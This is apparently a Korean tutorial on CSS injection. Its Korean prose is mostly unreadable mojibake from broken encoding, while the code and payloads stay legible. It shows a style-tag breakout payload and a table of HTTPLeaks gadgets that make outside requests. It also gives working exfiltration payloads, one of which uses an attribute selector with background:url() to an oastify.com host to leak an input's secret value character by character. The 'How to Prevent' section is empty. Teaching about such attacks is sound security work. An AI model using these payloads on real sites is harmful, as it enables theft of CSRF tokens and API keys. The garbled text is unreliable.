๐ What is CSS Injection?
Cascading Style Sheet(CSS)๋ HTML๋ก ์ ์๋ ๋ฌธ์๋ฅผ ๋ค์ฑ๋กญ๊ฒ ํ๋ ์ญํ์ ํฉ๋๋ค. ํํ์ ์ฌ์ฉ๋ ์์์ CSS ์ฝ๋๋ฅผ ์ฃผ์
์์ผ ์๋ํ์ง ์์ ์์ฑ์ด ์ ์๋๋ ๊ฒ์ CSS Injection ์ด๋ผ๊ณ ํฉ๋๋ค.
CSS Injection์ XSS์ ๋น์ทํ๊ฒ ์น ํ์ด์ง ๋ก๋ฉ ์ ์
์์ ์ธ ๋ฌธ์์ด์ ์ฝ์
ํ์ฌ ์
์์ ์ธ ๋์์ ์ด๋๋ ๊ณต๊ฒฉ์ผ๋ก ๊ณต๊ฒฉ์๊ฐ ์์ CSS ์์ฑ์ ์ฝ์
ํด ์นํ์ด์ง์ UI๋ฅผ ๋ณ์กฐํ๊ฑฐ๋ CSS ์์ฑ์ ๋ค์ํ ๊ธฐ๋ฅ์ ํตํด ์น ํ์ด์ง๋ด์ ๋ฐ์ดํฐ๋ฅผ ์ธ๋ถ๋ก ํ์น ์ ์์ต๋๋ค.
๋ฐ์ดํฐ์ ์๋ก๋ CSRF Token, ํผํด์์ API Key๋ฑ ์น ํ์ด์ง์ ์ง์ ์ ์ผ๋ก ๋ณด์ฌ์ง๋ ๊ฐ์ฒ๋ผ CSS ์ ํ์๋ฅผ ํตํด ํํ์ด ๊ฐ๋ฅํด์ผ ํฉ๋๋ค.
๊ทธ๋์ CSS ์ ํ์๋ก ํํ์ด ๋ถ๊ฐ๋ฅํ script ํ๊ทธ ๋ด ๋ฐ์ดํฐ๋ค์ ํ์ทจํ ์ ์์ต๋๋ค.
CSS Injection์ HTML (style) ์์ญ์ ๊ณต๊ฒฉ์๊ฐ ์์ ์
๋ ฅ ๊ฐ์ ๋ฃ์ ์ ์๊ฑฐ๋ ์์ HTML์ ์ฝ์
ํ ์ ์์ง๋ง Content-Security-Policy(CSP)๋ก ์ธํด ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ ์ ์๋ ๋ฑ ๋ค์ํ ์ํฉ์์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
CSS Injection
-
- ์๊น ๋ฐ๊พธ๊ธฐ
- ์๊น ๋ฐ๊พธ๊ธฐ
CSS Injection์ ํตํด ์์ ์์ญ์ UI๋ฅผ ๋ณ๊ฒฝํ ์ ์์ต๋๋ค. ์๋์ ์ฝ๋๋ ์ด์ฉ์๋ก๋ถํฐ theme ๊ฐ์ ์
๋ ฅ ๋ฐ์ style ํ๊ทธ ๋ด์ ์ถ๋ ฅํ๋ ์น ์ดํ๋ฆฌ์ผ์ด์
์
๋๋ค. theme๊ฐ ๋ด์ <
๋ฅผ ์
๋ ฅํ ์ ์์ด ์ ์๋ style ํ๊ทธ๋ฅผ ๋ฒ์ด๋๋ ๊ฒ์ ๋ถ๊ฐ๋ฅํ์ฌ CSS ์์ฑ๋ง ์ถ๋ ฅํ ์ ์์ต๋๋ค.
body์ background-color ๊ฐ ์๋ h1์ ๊ธ์จ ์์ ๋ณ๊ฒฝํ๋ ค๋ฉด }
๋ฌธ์๋ฅผ ์ด์ฉํด ๊ธฐ์กด ์์ฑ์ ํ์ถํด์ผ ํฉ๋๋ค.
yellow; } h1 { color : red
๊ฐ์ ์
๋ ฅ ์ h1์ ๊ธ์จ ์๊น ๋ณ๊ฒฝ์ด ๊ฐ๋ฅํฉ๋๋ค.
<style>
body { background-color: ${theme}; }
</style>
<h1>Hello, it's dreame. Interesting with CSS Injection?</h1>
if '<' in theme:
exit(0)
-
- IP Ping Back ํ๊ธฐ
- IP Ping Back ํ๊ธฐ
ํด๋ผ์ด์ธํธ์ฌ์ด๋ ๊ณต๊ฒฉ์ ํตํด ๋ฐ์ดํฐ๋ฅผ ์ธ๋ถ๋ก ํ์ทจํ๊ธฐ ์ํด์๋ ๊ณต๊ฒฉ์์ ์๋ฒ๋ก ์์ฒญ์ ๋ณด๋ผ ์ ์์ด์ผํฉ๋๋ค. CSS ์์ฑ์ผ๋ก ์ธ๋ถ ์์ฒญ(Ping Back)์ ํ๊ธฐ ์ํด CSS ์ธ๋ถ ๋ฆฌ์์ค๋ฅผ ๋ถ๋ฌ์ค๋ ๊ธฐ๋ฅ์ ์ฌ์ฉํด์ผ ํฉ๋๋ค.
๋ค๋ฅธ ์ฌ์ดํธ์ ์ด๋ฏธ์ง,ํฐํธ ๋ฑ์ ๊ฐ์ ธ์ค๋ ์ฌ๋ฌ ๋ฐฉ๋ฒ์ด ์กด์ฌํ์ง๋ง ๋ํ์ ์ผ๋ก cure53์ HTTPLeaks(https://github.com/cure53/HTTPLeaks/blob/main/leak.html#L266) ๊ฐ์ ฏ์ ์ด์ฉํ ์ ์์ต๋๋ค.
CSS ๊ฐ์ ฏ | ์ค๋ช |
---|---|
@import โhttps://leaking.via/css-import-stringโ; | ์ธ๋ถ CSS ํ์ผ์ ๋ก๋ํฉ๋๋ค. ๋ชจ๋ ์์ ์ค ๊ฐ์ฅ ์๋จ์ ์์นํด์ผ ํ๋น๋ค. ๊ทธ๋ ์ง ์์ ๊ฒฝ์ฐ @import๋ ๋ฌด์๋ฉ๋๋ค. |
@import url(https://leaking.via/css-import-url); | url ํจ์๋ URL๋ฅผ ๋ถ๋ฌ์ค๋ ์ญํ์ ํฉ๋๋ค. ์ํฉ์ ๋ฐ๋ผ์ ์ ํ์ ์ผ๋ก ์ฌ์ฉํ ์ ์์ต๋๋ค. |
@background: url(https://leaking.via/css-background); | ์์์ ๋ฐฐ๊ฒฝ์ ๋ณ๊ฒฝํ ๋ ์ฌ์ฉํ ์ด๋ฏธ์ง๋ฅผ ๋ถ๋ฌ์ต๋๋ค. |
@font-face {font-family:leak; src: url(https://leaking.via/css-font-face-src);} | ๋ถ๋ฌ์ฌ ํฐํธ ํ์ผ์ ์ฃผ์๋ฅผ ์ง์ ํฉ๋๋ค. |
background-image: \000075\000072\00006C(https://leaking.via/css-escape-url-2); | CSS ์์ ํจ์๋ฅผ ํธ์ถํ ๋ asciiํํ์ โurlโ์ด ์๋ hex ํํ์ธ โ\000075\000072โ๋ ์ง์ํฉ๋๋ค. |
- ์ ๊ฐ์ ฏ ์ค ํ๋๋ฅผ ์ฌ์ฉํด ํ์ด์ง ๋ด์์ ์ธ๋ถ ์๋ฒ๋ก ์์ฒญ์ ๋ณด๋ผ ์ ์์ต๋๋ค. ์์ฒญ์ ๋ฐ์ ์๋ฒ๋ Burp๋ฅผ ์ฌ์ฉํด ์ค๋๋ค.
- ๊ฐ๋ฐ์ ๋๊ตฌ๋ฅผ ์ด์ฉํด Netwrok ํญ์์ ์์ฒญ ๊ธฐ๋ก์ ํ์ธํฉ๋๋ค.
- yellow; background: url(โhttps://ovns6ytyf0w22l1r67eo52d3yu4lsa.oastify.com/ping-backโ); ์ ์
๋ ฅํ์ฌ ์๋ธ ๋๋ฉ์ธ ์ฃผ์๋ก body์ background๋ฅผ ์ค์ ํฉ๋๋ค.
- ๊ฐ๋ฐ์ ๋๊ตฌ์์ burp ์๋ฒ๋ก ๋ณด๋ธ ์์ฒญ์ ํ์ธํ๊ณ ๋ฒํ์์ ๋ฐ์ ์์ฒญ์ ํ์ธํฉ๋๋ค.
-
- ๋ฐ์ดํฐ ํ์ทจ
- ๋ฐ์ดํฐ ํ์ทจ
1,2์์๋ ์์ฑ์ ์ถ๊ฐํ๊ฑฐ๋ ๋ณ๊ฒฝ, CSS Selector์ ์กฐ๊ฑด์ด ๋ง์ ๊ฒฝ์ฐ ์ธ๋ถ ์๋ฒ๋ก ์์ฒญ์ ๋ณด๋๋๋ฐ ์ด๋ฒ์๋ Attribute Selector๋ฅผ ํตํด ์
๋ ฅ ๋ฐ์ค(Input)์ ๊ฐ(Value)๋ฅผ ํ์ทจํ๋ ๋ฐฉ๋ฒ ์
๋๋ค.
CSS Attribute Selector(ํน์ฑ ์ ํ์)
CSS Attribute Selector์ Element์ Attribute๋ฅผ Selectionํ ์ ์๋ ๊ธฐ๋ฅ์ ์ ๊ณตํฉ๋๋ค.
๊ตฌ๋ฌธ | ์ค๋ช |
---|---|
[attr] | attr ์ด๋ผ๋ ์ด๋ฆ์ ํน์ฑ์ ๊ฐ์ง ์์๋ฅผ ์ ํํฉ๋๋ค. |
[attr=value] | attr ์ด๋ผ๋ ์ด๋ฆ์ ํน์ฑ๊ฐ์ด ์ ํํ value์ธ ์์๋ฅผ ์ ํํฉ๋๋ค. |
[attr~=value] | attr์ด๋ผ๋ ์ด๋ฆ์ ํน์ฑ๊ฐ์ด ์ ํํ value์ธ ์์๋ฅผ ์ ํํฉ๋๋ค. attr ํน์ฑ์ ๊ณต๋ฐฑ์ผ๋ก ๊ตฌ๋ถํ ์ฌ๋ฌ ๊ฐ์ ๊ฐ์ ๊ฐ์ง๊ณ ์์ ์ ์์ต๋๋ค. |
[attr^=value] | attr์ด๋ผ๋ ํน์ฑ๊ฐ์ ๊ฐ์ง๊ณ ์์ผ๋ฉฐ, ์ ๋์ฌ๋ก value๊ฐ ๊ฐ์ ํฌํจ๋์ด ์์ผ๋ฉด ์ด ์์๋ฅผ ์ ํํฉ๋๋ค. |
[attr$=value] | attr์ด๋ผ๋ ํน์ฑ๊ฐ์ ๊ฐ์ง๊ณ ์์ผ๋ฉฐ, ์ ๋ฏธ์ฌ๋ก value๊ฐ ๊ฐ์ ํฌํจ๋์ด ์์ผ๋ฉด ์ด ์์๋ฅผ ์ ํํฉ๋๋ค. |
์ ๊ตฌ๋ฌธ์ค [attr^=value]
์ ์ด์ฉํ๋ฉด ์
๋ ฅ ๋ฐ์ค ๋ด์ฉ์ ํ์ทจํ ์ ์์ต๋๋ค.
- [attr^=value] ๊ตฌ๋ฌธ์ ์ด์ฉํด ๊ฐ์ฅ ์ฒซ ํ๊ธ์๋ฅผ ๋จผ์ ํ์ทจํฉ๋๋ค.
- 1์์ ํ์ทจํ ๊ธ์๋ฅผ ์ ๋์ฌ๋ก ๊ทธ ๋ค์ ํ๊ธ์๋ฅผ ํ์ทจํฉ๋๋ค.
- 1-2๋ฅผ ๋ฐ๋ณตํฉ๋๋ค.
์ ์์๋ฅผ ์งํํ๋ ํ์ด๋ก๋๋ yellow; } input[value^=S3CR3T_] { background: url(โhttps://ar5e2kpkbmsoy7xd2taa1o9pug08ox.oastify.com/lolsโ); ๋ก ๊ฐ๋ฐ์ ๋๊ตฌ Network ํญ์ ํ์ธํ์ฌ ํ์ทจํ๋ ค๊ณ ํ๋ ๋ด์ฉ์ด S3CR3T_์ผ๋ก ์์๋๋๊ฒ์ ์ ์ ์์ต๋๋ค.
๊ฐ์ด ์ผ์นํ ๊ฒฝ์ฐ Networkํญ์ ๊ฐ ์ ์ก ๋ฐ ์๋ฒ ํ์ธ ๊ฐ๋ฅ, ์ผ์นํ์ง ์์ ๊ฒฝ์ฐ ๊ฐ์ด ์ ์ก๋์ง ์์
๐ Cheat sheet
๐ How to Prevent ?
๐ References
- https://dreamhack.io/lecture/courses/327
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d